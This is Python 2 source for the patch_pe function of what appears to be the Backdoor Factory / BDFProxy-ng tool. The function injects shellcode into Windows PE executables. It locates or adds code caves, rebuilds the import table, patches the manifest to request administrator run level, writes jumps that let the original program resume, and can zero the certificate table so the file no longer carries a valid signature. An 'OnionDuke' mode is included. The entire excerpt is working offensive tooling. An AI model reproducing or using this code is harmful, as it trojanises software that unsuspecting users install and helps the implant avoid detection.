'This function operates the sequence of all involved
functions to perform the binary patching.'

def patch_pe(self):

    print '[*]    In    the    backdoor    module'
    if (self.INJECTOR is False):
        os_name = os.name
        if (not os.path.exists('plugins/BDFProxy-ng/backdoored')):
            os.makedirs('plugins/BDFProxy-ng/backdoored')
        if (os_name == 'nt'):
            self.OUTPUT = ('plugins/BDFProxy-ng/backdoored\\' + self.OUTPUT)
        else:
            self.OUTPUT = ('plugins/BDFProxy-ng/backdoored/' + self.OUTPUT)
    if (self.PATCH_METHOD.lower() == 'replace'):
        print '[*]    Using    replace    method,    copying    supplied    binary'
        self.flItms['backdoorfile'] = self.SUPPLIED_BINARY
        shutil.copy2(self.SUPPLIED_BINARY, self.OUTPUT)
        return True
    issupported = self.support_check()
    if (issupported is False):
        return None
    if (self.PATCH_METHOD == 'onionduke'):
        print '[!]    Attempting    OnionDuke    patching'
        result = self.onionduke()
        if result:
            return result
        else:
            print '[!]    OnionDuke    patching    failed'
            return result
    self.flItms['NewCodeCave'] = self.ADD_SECTION
    self.flItms['cave_jumping'] = self.CAVE_JUMPING
    self.flItms['CavesPicked'] = {}
    self.flItms['LastCaveAddress'] = 0
    self.flItms['stager'] = False
    self.flItms['supplied_shellcode'] = self.SUPPLIED_SHELLCODE
    self.flItms['CavesToFix'] = {}
    self.flItms['XP_MODE'] = self.XP_MODE
    if (self.check_shells() is False):
        return False
    self.flItms['backdoorfile'] = self.OUTPUT
    shutil.copy2(self.FILE, self.flItms['backdoorfile'])
    if ('apis_needed' in self.flItms):
        self.check_apis(self.FILE)
        if (self.flItms['neededAPIs'] != set()):
            iat_result = self.create_new_iat()
            if (iat_result is False):
                return False
            print '[*]    Checking    updated    IAT    for    thunks'
            self.check_apis(self.flItms['backdoorfile'])
    if ((self.set_shells() is False) or (self.flItms['allshells'] is False)):
        print '[!]    Could    not    set    selected    shellcode!'
        return False
    self.binary = open(self.flItms['backdoorfile'], 'r+b')
    if (self.RUNAS_ADMIN is True):
        if (self.parse_rsrc() is True):
            patch_result = self.patch_runlevel()
            if (patch_result is False):
                print '[!]    Could    not    patch    higher    run    level    in    manifest,    requestedExecutionLevel    did    not    exist'
        else:
            print '[!]    No    manifest    in    rsrc'
    targetFile = intelCore(self.flItms, self.binary, self.VERBOSE)
    if (self.flItms['Magic'] == int('20B', 16)):
        (_, self.flItms['resumeExe']) = targetFile.resume_execution_64()
    else:
        (_, self.flItms['resumeExe']) = targetFile.resume_execution_32()
    shellcode_length = len(self.flItms['shellcode'])
    self.flItms['shellcode_length'] = (shellcode_length + len(self.flItms['resumeExe']))
    caves_set = False
    while ((caves_set is False) and (self.flItms['NewCodeCave'] is False)):
        self.flItms['CavesPicked'] = self.find_cave()
        if (type(self.flItms['CavesPicked']) == str):
            if (self.flItms['CavesPicked'].lower() in ['append', 'a']):
                self.flItms['JMPtoCodeAddress'] = None
                self.flItms['CodeCaveLOC'] = 0
                self.flItms['cave_jumping'] = False
                self.flItms['CavesPicked'] = {}
                print '[!]    Appending    new    section    for    payload'
                self.set_shells()
                caves_set = True
            elif (self.flItms['CavesPicked'].lower() in ['jump', 'j']):
                self.flItms['JMPtoCodeAddress'] = None
                self.flItms['CodeCaveLOC'] = 0
                self.flItms['cave_jumping'] = True
                self.flItms['CavesPicked'] = {}
                print '-resetting    shells'
                self.set_shells()
                continue
            elif (self.flItms['CavesPicked'].lower() in ['single', 's']):
                self.flItms['JMPtoCodeAddress'] = None
                self.flItms['CodeCaveLOC'] = 0
                self.flItms['cave_jumping'] = False
                self.flItms['CavesPicked'] = {}
                print '-resetting    shells'
                self.set_shells()
                continue
            elif (self.flItms['CavesPicked'].lower() in ['ignore', 'i', 'q']):
                return None
        elif (self.flItms['CavesPicked'] is None):
            return None
        else:
            self.flItms['JMPtoCodeAddress'] = self.flItms['CavesPicked'].iteritems().next()[1][6]
            caves_set = True
    if (self.flItms['CavesPicked'] != {}):
        for (cave, values) in self.flItms['CavesPicked'].iteritems():
            self.flItms['CavesToFix'][cave] = [((values[6] + 5) + self.flItms['PatchLocation']), self.flItms['len_allshells'][cave]]
    if ((self.flItms['JMPtoCodeAddress'] is None) or (self.flItms['NewCodeCave'] is True)):
        create_cave_result = self.create_code_cave()
        if (create_cave_result is False):
            return False
        self.flItms['NewCodeCave'] = True
        print '-    Adding    a    new    section    to    the    exe/dll    for    shellcode    injection'
    else:
        self.flItms['LastCaveAddress'] = self.flItms['CavesPicked'][(len(self.flItms['CavesPicked']) - 1)][6]
    targetFile = intelCore(self.flItms, self.binary, self.VERBOSE)
    targetFile.patch_initial_instructions()
    if (self.flItms['Magic'] == int('20B', 16)):
        (ReturnTrackingAddress, self.flItms['resumeExe']) = targetFile.resume_execution_64()
    else:
        (ReturnTrackingAddress, self.flItms['resumeExe']) = targetFile.resume_execution_32()
    self.set_shells()
    if (self.flItms['cave_jumping'] is True):
        if (self.flItms['stager'] is False):
            temp_jmp = '\xe9'
            breakupvar = eat_code_caves(self.flItms, 1, 2)
            test_length = (((int(self.flItms['CavesPicked'][2][1], 16) - int(self.flItms['CavesPicked'][1][1], 16)) - len(self.flItms['allshells'][1])) - 5)
            if (test_length < 0):
                temp_jmp += struct.pack('<I', (4294967295 - abs(((breakupvar - len(self.flItms['allshells'][1])) - 4))))
            else:
                temp_jmp += struct.pack('<I', ((breakupvar - len(self.flItms['allshells'][1])) - 5))
        self.flItms['allshells'] += (self.flItms['resumeExe'],)
    self.flItms['completeShellcode'] = (self.flItms['shellcode'] + self.flItms['resumeExe'])
    if (self.flItms['NewCodeCave'] is True):
        self.binary.seek((self.flItms['newSectionPointerToRawData'] + self.flItms['buffer']))
        self.binary.write(self.flItms['completeShellcode'])
    if (self.flItms['cave_jumping'] is True):
        for (i, item) in self.flItms['CavesPicked'].iteritems():
            self.binary.seek(int(self.flItms['CavesPicked'][i][1], 16), 0)
            self.binary.write(self.flItms['allshells'][i])
            if ((i == (len(self.flItms['CavesPicked']) - 2)) and (self.flItms['stager'] is False)):
                self.binary.write(temp_jmp)
    else:
        for (i, item) in self.flItms['CavesPicked'].iteritems():
            if (i == 0):
                self.binary.seek(int(self.flItms['CavesPicked'][i][1], 16))
                self.binary.write(self.flItms['completeShellcode'])
    if ((self.ZERO_CERT is True) and (self.flItms['CertificateTable'] != 0)):
        print '[*]    Overwriting    certificate    table    pointer'
        self.binary.seek(self.flItms['CertTableLOC'], 0)
        self.binary.write('\x00\x00\x00\x00\x00\x00\x00\x00')
    self.binary.close()
    if (self.VERBOSE is True):
        self.print_flItms(self.flItms)
    return True
